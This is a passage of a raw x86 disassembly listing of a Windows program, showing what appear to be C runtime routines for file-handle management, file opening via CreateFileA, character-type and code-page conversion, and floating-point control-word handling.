push ebx
push 0FFFFFFF5h
jmp short loc_423EC9
; ---------------------------------------------------------------------------
loc_423EC6: ; CODE XREF: sub_423E79+3Bj
push ebx
push 0FFFFFFF6h
loc_423EC9: ; CODE XREF: sub_423E79+46j
; sub_423E79+4Bj
call dword_42802C ; SetStdHandle
loc_423ECF: ; CODE XREF: sub_423E79+36j
; sub_423E79+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423EED
; ---------------------------------------------------------------------------
loc_423ED9: ; CODE XREF: sub_423E79+Cj
; sub_423E79+28j
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
or eax, 0FFFFFFFFh
loc_423EED: ; CODE XREF: sub_423E79+5Ej
pop edi
pop esi
retn
sub_423E79 endp
; =============== S U B R O U T I N E =======================================
sub_423EF0 proc near ; CODE XREF: sub_41E112+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DFA20
push edi
jnb short loc_423F53
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DF920h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_423F53
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_423F53
cmp dword_43D5E4, 1
jnz short loc_423F49
xor eax, eax
sub ecx, eax
jz short loc_423F40
dec ecx
jz short loc_423F3B
dec ecx
jnz short loc_423F49
push eax
push 0FFFFFFF4h
jmp short loc_423F43
; ---------------------------------------------------------------------------
loc_423F3B: ; CODE XREF: sub_423EF0+41j
push eax
push 0FFFFFFF5h
jmp short loc_423F43
; ---------------------------------------------------------------------------
loc_423F40: ; CODE XREF: sub_423EF0+3Ej
push eax
push 0FFFFFFF6h
loc_423F43: ; CODE XREF: sub_423EF0+49j
; sub_423EF0+4Ej
call dword_42802C ; SetStdHandle
loc_423F49: ; CODE XREF: sub_423EF0+38j
; sub_423EF0+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_423F67
; ---------------------------------------------------------------------------
loc_423F53: ; CODE XREF: sub_423EF0+Cj
; sub_423EF0+2Aj ...
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
or eax, 0FFFFFFFFh
loc_423F67: ; CODE XREF: sub_423EF0+61j
pop edi
pop esi
retn
sub_423EF0 endp
; =============== S U B R O U T I N E =======================================
sub_423F6A proc near ; CODE XREF: sub_41E112+32p
; sub_41E112+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DFA20
jnb short loc_423F92
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DF920[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_423F92
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_423F92: ; CODE XREF: sub_423F6A+Aj
; sub_423F6A+23j
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
or eax, 0FFFFFFFFh
retn
sub_423F6A endp
; =============== S U B R O U T I N E =======================================
sub_423FA7 proc near ; CODE XREF: sub_41E1F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DFA20
jnb short loc_423FF0
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DF920[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423FF0
push eax
call sub_423F6A
pop ecx
push eax
call dword_428028 ; FlushFileBuffers
test eax, eax
jnz short loc_423FE5
call dword_428094 ; RtlGetLastWin32Error
jmp short loc_423FE7
; ---------------------------------------------------------------------------
loc_423FE5: ; CODE XREF: sub_423FA7+34j
xor eax, eax
loc_423FE7: ; CODE XREF: sub_423FA7+3Cj
test eax, eax
jz short locret_423FFD
mov dword_4DE5C8, eax
loc_423FF0: ; CODE XREF: sub_423FA7+Aj
; sub_423FA7+22j
mov dword_4DE5C4, 9
or eax, 0FFFFFFFFh
locret_423FFD: ; CODE XREF: sub_423FA7+42j
retn
sub_423FA7 endp
; =============== S U B R O U T I N E =======================================
sub_423FFE proc near ; DATA XREF: .XPack0:0042A024o
mov eax, dword_4DF900
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424012
mov eax, 200h
jmp short loc_424018
; ---------------------------------------------------------------------------
loc_424012: ; CODE XREF: sub_423FFE+Bj
cmp eax, esi
jge short loc_42401D
mov eax, esi
loc_424018: ; CODE XREF: sub_423FFE+12j
mov dword_4DF900, eax
loc_42401D: ; CODE XREF: sub_423FFE+16j
push 4
push eax
call sub_4254D1
pop ecx
mov dword_4DE8E8, eax
test eax, eax
pop ecx
jnz short loc_424051
push 4
push esi
mov dword_4DF900, esi
call sub_4254D1
pop ecx
mov dword_4DE8E8, eax
test eax, eax
pop ecx
jnz short loc_424051
push 1Ah
call sub_41E0C9
pop ecx
loc_424051: ; CODE XREF: sub_423FFE+30j
; sub_423FFE+49j
xor ecx, ecx
mov eax, offset off_43FD08
loc_424058: ; CODE XREF: sub_423FFE+6Ej
mov edx, dword_4DE8E8
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43FF88
jl short loc_424058
xor edx, edx
mov ecx, offset dword_43FD18
loc_424075: ; CODE XREF: sub_423FFE+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DF920[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_424092
test eax, eax
jnz short loc_424095
loc_424092: ; CODE XREF: sub_423FFE+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_424095: ; CODE XREF: sub_423FFE+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43FD78
jl short loc_424075
pop esi
retn
sub_423FFE endp
; =============== S U B R O U T I N E =======================================
sub_4240A3 proc near ; DATA XREF: .XPack0:0042A034o
; FUNCTION CHUNK AT 00425582 SIZE 00000058 BYTES
call sub_41E287
cmp byte_4DE604, 0
jz short locret_4240B6
jmp loc_425582
; ---------------------------------------------------------------------------
locret_4240B6: ; CODE XREF: sub_4240A3+Cj
retn
sub_4240A3 endp
; =============== S U B R O U T I N E =======================================
sub_4240B7 proc near ; CODE XREF: sub_41F6E3+32p
; sub_41FC2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DE7B0
push 1000h
call sub_41BB45
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_4240E0
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_4240F1
; ---------------------------------------------------------------------------
loc_4240E0: ; CODE XREF: sub_4240B7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_4240F1: ; CODE XREF: sub_4240B7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4240B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4240FB proc near ; CODE XREF: sub_41F9CD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424121
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42412C
; ---------------------------------------------------------------------------
loc_424121: ; CODE XREF: sub_4240FB+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42412C: ; CODE XREF: sub_4240FB+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424146
test ch, 40h
jnz short loc_424142
cmp dword_4DE8C0, eax
jz short loc_424146
loc_424142: ; CODE XREF: sub_4240FB+3Dj
or [ebp+var_1], 80h
loc_424146: ; CODE XREF: sub_4240FB+38j
; sub_4240FB+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_42417E
dec eax
jz short loc_424175
dec eax
jz short loc_42416C
loc_424157: ; CODE XREF: sub_4240FB+9Fj
; sub_4240FB+E8j ...
mov dword_4DE5C4, 16h
mov dword_4DE5C8, ebx
jmp loc_424391
; ---------------------------------------------------------------------------
loc_42416C: ; CODE XREF: sub_4240FB+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_424185
; ---------------------------------------------------------------------------
loc_424175: ; CODE XREF: sub_4240FB+57j
mov [ebp+var_C], 40000000h
jmp short loc_424185
; ---------------------------------------------------------------------------
loc_42417E: ; CODE XREF: sub_4240FB+54j
mov [ebp+var_C], 80000000h
loc_424185: ; CODE XREF: sub_4240FB+78j
; sub_4240FB+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4241B3
cmp eax, 20h
jz short loc_4241AA
cmp eax, 30h
jz short loc_4241A1
cmp eax, 40h
jnz short loc_424157
mov [ebp+var_10], esi
jmp short loc_4241B6
; ---------------------------------------------------------------------------
loc_4241A1: ; CODE XREF: sub_4240FB+9Aj
mov [ebp+var_10], 2
jmp short loc_4241B6
; ---------------------------------------------------------------------------
loc_4241AA: ; CODE XREF: sub_4240FB+95j
mov [ebp+var_10], 1
jmp short loc_4241B6
; ---------------------------------------------------------------------------
loc_4241B3: ; CODE XREF: sub_4240FB+90j
mov [ebp+var_10], ebx
loc_4241B6: ; CODE XREF: sub_4240FB+A4j
; sub_4240FB+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424200
jz short loc_4241FB
cmp ecx, ebx
jz short loc_4241FB
cmp ecx, edi
jz short loc_4241F2
cmp ecx, 200h
jz short loc_424219
cmp ecx, 300h
jnz loc_424157
mov [ebp+var_8], 2
jmp short loc_424229
; ---------------------------------------------------------------------------
loc_4241F2: ; CODE XREF: sub_4240FB+D8j
mov [ebp+var_8], 4
jmp short loc_424229
; ---------------------------------------------------------------------------
loc_4241FB: ; CODE XREF: sub_4240FB+D0j
; sub_4240FB+D4j
mov [ebp+var_8], esi
jmp short loc_424229
; ---------------------------------------------------------------------------
loc_424200: ; CODE XREF: sub_4240FB+CEj
cmp ecx, 500h
jz short loc_424222
cmp ecx, 600h
jz short loc_424219
cmp ecx, edx
jz short loc_424222
jmp loc_424157
; ---------------------------------------------------------------------------
loc_424219: ; CODE XREF: sub_4240FB+E0j
; sub_4240FB+113j
mov [ebp+var_8], 5
jmp short loc_424229
; ---------------------------------------------------------------------------
loc_424222: ; CODE XREF: sub_4240FB+10Bj
; sub_4240FB+117j
mov [ebp+var_8], 1
loc_424229: ; CODE XREF: sub_4240FB+F5j
; sub_4240FB+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424248
mov ecx, dword_4DE5CC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424248
push 1
pop esi
loc_424248: ; CODE XREF: sub_4240FB+138j
; sub_4240FB+148j
test al, 40h
jz short loc_424256
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424256: ; CODE XREF: sub_4240FB+14Fj
test ah, 10h
jz short loc_42425D
or esi, edi
loc_42425D: ; CODE XREF: sub_4240FB+15Ej
test al, 20h
jz short loc_424269
or esi, 8000000h
jmp short loc_424273
; ---------------------------------------------------------------------------
loc_424269: ; CODE XREF: sub_4240FB+164j
test al, 10h
jz short loc_424273
or esi, 10000000h
loc_424273: ; CODE XREF: sub_4240FB+16Cj
; sub_4240FB+170j
call sub_423DE4
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_424294
and dword_4DE5C8, 0
mov dword_4DE5C4, 18h
jmp short loc_4242D2
; ---------------------------------------------------------------------------
loc_424294: ; CODE XREF: sub_4240FB+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_4280F8 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_4242C5
push esi
call dword_428030 ; GetFileType
test eax, eax
jnz short loc_4242D9
push esi
call dword_428070 ; CloseHandle
loc_4242C5: ; CODE XREF: sub_4240FB+1B6j
call dword_428094 ; RtlGetLastWin32Error
push eax
call sub_420A7F
pop ecx
loc_4242D2: ; CODE XREF: sub_4240FB+197j
mov eax, edi
jmp loc_4243AF
; ---------------------------------------------------------------------------
loc_4242D9: ; CODE XREF: sub_4240FB+1C1j
cmp eax, 2
jnz short loc_4242E4
or [ebp+var_1], 40h
jmp short loc_4242ED
; ---------------------------------------------------------------------------
loc_4242E4: ; CODE XREF: sub_4240FB+1E1j
cmp eax, 3
jnz short loc_4242ED
or [ebp+var_1], 8
loc_4242ED: ; CODE XREF: sub_4240FB+1E7j
; sub_4240FB+1ECj
push esi
push ebx
call sub_423E79
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DF920h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_424396
test al, 80h
jz short loc_424396
test byte ptr [ebp+arg_4], 2
jz short loc_424396
push 2
push 0FFFFFFFFh
push ebx
call sub_422DCB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42434B
cmp dword_4DE5C8, 83h
jz short loc_424396
jmp short loc_42438A
; ---------------------------------------------------------------------------
loc_42434B: ; CODE XREF: sub_4240FB+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F7BC
add esp, 0Ch
test eax, eax
jnz short loc_424378
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_424378
push [ebp+var_10]
push ebx
call sub_4255DA
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_42438A
loc_424378: ; CODE XREF: sub_4240FB+265j
; sub_4240FB+26Bj
push 0
push 0
push ebx
call sub_422DCB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_424396
loc_42438A: ; CODE XREF: sub_4240FB+24Ej
; sub_4240FB+27Bj
push ebx
call sub_41E112
pop ecx
loc_424391: ; CODE XREF: sub_4240FB+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4243AF
; ---------------------------------------------------------------------------
loc_424396: ; CODE XREF: sub_4240FB+221j
; sub_4240FB+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4243AD
test byte ptr [ebp+arg_4], 8
jz short loc_4243AD
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4243AD: ; CODE XREF: sub_4240FB+29Fj
; sub_4240FB+2A5j
mov eax, ebx
loc_4243AF: ; CODE XREF: sub_4240FB+1D9j
; sub_4240FB+299j
pop edi
pop esi
pop ebx
leave
retn
sub_4240FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4243B4 proc near ; CODE XREF: sub_41FBB5+5Ep
; sub_420788+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428C38
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DE7B8
xor ebx, ebx
cmp eax, ebx
jnz short loc_424423
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_428928
push esi
call dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_424401
mov eax, esi
jmp short loc_42441E
; ---------------------------------------------------------------------------
loc_424401: ; CODE XREF: sub_4243B4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CE1C0
push esi
push ebx
call dword_428024 ; GetStringTypeA
test eax, eax
jz loc_4244E9
push 2
pop eax
loc_42441E: ; CODE XREF: sub_4243B4+4Bj
mov dword_4DE7B8, eax
loc_424423: ; CODE XREF: sub_4243B4+2Fj
cmp eax, 2
jnz short loc_42444C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424434
mov eax, dword_4DE684
loc_424434: ; CODE XREF: sub_4243B4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_428024 ; GetStringTypeA
jmp loc_4244EB
; ---------------------------------------------------------------------------
loc_42444C: ; CODE XREF: sub_4243B4+72j
cmp eax, 1
jnz loc_4244E9
cmp [ebp+arg_10], ebx
jnz short loc_424462
mov eax, dword_4DE694
mov [ebp+arg_10], eax
loc_424462: ; CODE XREF: sub_4243B4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_4280E8 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_4244E9
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BC00
add esp, 0Ch
jmp short loc_4244B8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4244B8: ; CODE XREF: sub_4243B4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_4244E9
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_4280E8 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_4244E9
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_428020 ; GetStringTypeW
jmp short loc_4244EB
; ---------------------------------------------------------------------------
loc_4244E9: ; CODE XREF: sub_4243B4+61j
; sub_4243B4+9Bj ...
xor eax, eax
loc_4244EB: ; CODE XREF: sub_4243B4+93j
; sub_4243B4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4243B4 endp
; =============== S U B R O U T I N E =======================================
sub_4244FD proc near ; CODE XREF: sub_41FC2A+61p
; sub_420AE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DFA20
jb short loc_42450C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42450C: ; CODE XREF: sub_4244FD+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DF920[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_4244FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424523 proc near ; CODE XREF: sub_41FD3F+2D4p
; sub_41FD3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42452F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42452F: ; CODE XREF: sub_424523+8j
cmp dword_4DE684, 0
jnz short loc_42454A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_42457C
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42454A: ; CODE XREF: sub_424523+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43F824
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DE694
call dword_42818C ; WideCharToMultiByte
test eax, eax
jz short loc_42457C
cmp [ebp+arg_0], 0
jz short loc_424589
loc_42457C: ; CODE XREF: sub_424523+1Ej
; sub_424523+51j
mov dword_4DE5C4, 2Ah
or eax, 0FFFFFFFFh
loc_424589: ; CODE XREF: sub_424523+57j
pop ebp
retn
sub_424523 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42458B proc near ; CODE XREF: sub_420BB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4245AE
cmp [ebp+arg_8], ebx
jz short loc_4245AE
mov al, [esi]
cmp al, bl
jnz short loc_4245B4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4245AE
mov [eax], bx
loc_4245AE: ; CODE XREF: sub_42458B+Cj
; sub_42458B+11j ...
xor eax, eax
loc_4245B0: ; CODE XREF: sub_42458B+42j
; sub_42458B+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4245B4: ; CODE XREF: sub_42458B+17j
cmp dword_4DE684, ebx
jnz short loc_4245CF
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_4245CA
movzx ax, al
mov [ecx], ax
loc_4245CA: ; CODE XREF: sub_42458B+36j
; sub_42458B+C0j
push 1
pop eax
jmp short loc_4245B0
; ---------------------------------------------------------------------------
loc_4245CF: ; CODE XREF: sub_42458B+2Fj
mov ecx, off_43F618
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42462C
mov eax, dword_43F824
cmp eax, 1
jle short loc_424613
cmp [ebp+arg_8], eax
jl short loc_42461D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DE694
call dword_4280E8 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43F824
jnz short loc_4245B0
loc_424613: ; CODE XREF: sub_42458B+5Cj
cmp [ebp+arg_8], eax
jb short loc_42461D
cmp [esi+1], bl
jnz short loc_4245B0
loc_42461D: ; CODE XREF: sub_42458B+61j
; sub_42458B+8Bj ...
mov dword_4DE5C4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4245B0
; ---------------------------------------------------------------------------
loc_42462C: ; CODE XREF: sub_42458B+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DE694
call dword_4280E8 ; MultiByteToWideChar
test eax, eax
jnz loc_4245CA
jmp short loc_42461D
sub_42458B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_424660 proc near ; CODE XREF: sub_420BB0+797p
; sub_420BB0+7E7p
cmp cl, 40h
jnb short loc_42467A
cmp cl, 20h
jnb short loc_424670
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_424670: ; CODE XREF: sub_424660+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_42467A: ; CODE XREF: sub_424660+3j
xor eax, eax
xor edx, edx
retn
sub_424660 endp
; =============== S U B R O U T I N E =======================================
sub_42467F proc near ; CODE XREF: sub_421626+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_4246CB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_42469D
test al, 80h
jz short loc_4246CB
test al, 2
jnz short loc_4246CB
loc_42469D: ; CODE XREF: sub_42467F+14j
cmp dword ptr [esi+8], 0
jnz short loc_4246AA
push esi
call sub_4240B7
pop ecx
loc_4246AA: ; CODE XREF: sub_42467F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4246BA
cmp dword ptr [esi+4], 0
jnz short loc_4246CB
inc eax
mov [esi], eax
loc_4246BA: ; CODE XREF: sub_42467F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_4246D1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_4246D7
inc eax
mov [esi], eax
loc_4246CB: ; CODE XREF: sub_42467F+9j
; sub_42467F+18j ...
or eax, 0FFFFFFFFh
loc_4246CE: ; CODE XREF: sub_42467F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4246D1: ; CODE XREF: sub_42467F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_4246D7: ; CODE XREF: sub_42467F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_4246CE
sub_42467F endp
; =============== S U B R O U T I N E =======================================
sub_4246ED proc near ; CODE XREF: sub_421C16+52p
xor eax, eax
retn
sub_4246ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246F0 proc near ; CODE XREF: sub_424725+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42473B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4247CD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_4246F0 endp
; =============== S U B R O U T I N E =======================================
sub_424725 proc near ; CODE XREF: sub_421F02+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_4246F0
pop ecx
pop ecx
retn
sub_424725 endp
; =============== S U B R O U T I N E =======================================
sub_42473B proc near ; CODE XREF: sub_4246F0+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42474C
push 10h
pop eax
loc_42474C: ; CODE XREF: sub_42473B+Cj
test bl, 4
jz short loc_424753
or al, 8
loc_424753: ; CODE XREF: sub_42473B+14j
test bl, 8
jz short loc_42475A
or al, 4
loc_42475A: ; CODE XREF: sub_42473B+1Bj
test bl, 10h
jz short loc_424761
or al, 2
loc_424761: ; CODE XREF: sub_42473B+22j
test bl, 20h
jz short loc_424768
or al, 1
loc_424768: ; CODE XREF: sub_42473B+29j
test bl, 2
jz short loc_424772
or eax, 80000h
loc_424772: ; CODE XREF: sub_42473B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4247AA
cmp edx, 400h
jz short loc_4247A7
cmp edx, 800h
jz short loc_4247A3
cmp edx, esi
jnz short loc_4247AA
or eax, edi
jmp short loc_4247AA
; ---------------------------------------------------------------------------
loc_4247A3: ; CODE XREF: sub_42473B+5Ej
or eax, ebp
jmp short loc_4247AA
; ---------------------------------------------------------------------------
loc_4247A7: ; CODE XREF: sub_42473B+56j
or ah, 1
loc_4247AA: ; CODE XREF: sub_42473B+4Ej
; sub_42473B+62j ...
and ecx, edi
pop esi
jz short loc_4247BA
cmp ecx, ebp
jnz short loc_4247BF
or eax, 10000h
jmp short loc_4247BF
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_42473B+72j
or eax, 20000h
loc_4247BF: ; CODE XREF: sub_42473B+76j
; sub_42473B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4247CC
or eax, 40000h
locret_4247CC: ; CODE XREF: sub_42473B+8Aj
retn
sub_42473B endp
; =============== S U B R O U T I N E =======================================
sub_4247CD proc near ; CODE XREF: sub_4246F0+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_4247DD
push 1
pop eax
loc_4247DD: ; CODE XREF: sub_4247CD+Bj
test bl, 8
jz short loc_4247E4
or al, 4
loc_4247E4: ; CODE XREF: sub_4247CD+13j
test bl, 4
jz short loc_4247EB
or al, 8
loc_4247EB: ; CODE XREF: sub_4247CD+1Aj
test bl, 2
jz short loc_4247F2
or al, 10h
loc_4247F2: ; CODE XREF: sub_4247CD+21j
test bl, 1
jz short loc_4247F9
or al, 20h
loc_4247F9: ; CODE XREF: sub_4247CD+28j
test ebx, 80000h
jz short loc_424803
or al, 2
loc_424803: ; CODE XREF: sub_4247CD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424830
cmp ecx, 100h
jz short loc_42482D
cmp ecx, esi
jz short loc_424828
cmp ecx, edx
jnz short loc_424830
or ah, 0Ch
jmp short loc_424830
; ---------------------------------------------------------------------------
loc_424828: ; CODE XREF: sub_4247CD+50j
or ah, 8
jmp short loc_424830
; ---------------------------------------------------------------------------
loc_42482D: ; CODE XREF: sub_4247CD+4Cj
or ah, 4
loc_424830: ; CODE XREF: sub_4247CD+44j
; sub_4247CD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424846
cmp ecx, 10000h
jnz short loc_424848
or eax, esi
jmp short loc_424848
; ---------------------------------------------------------------------------
loc_424846: ; CODE XREF: sub_4247CD+6Bj
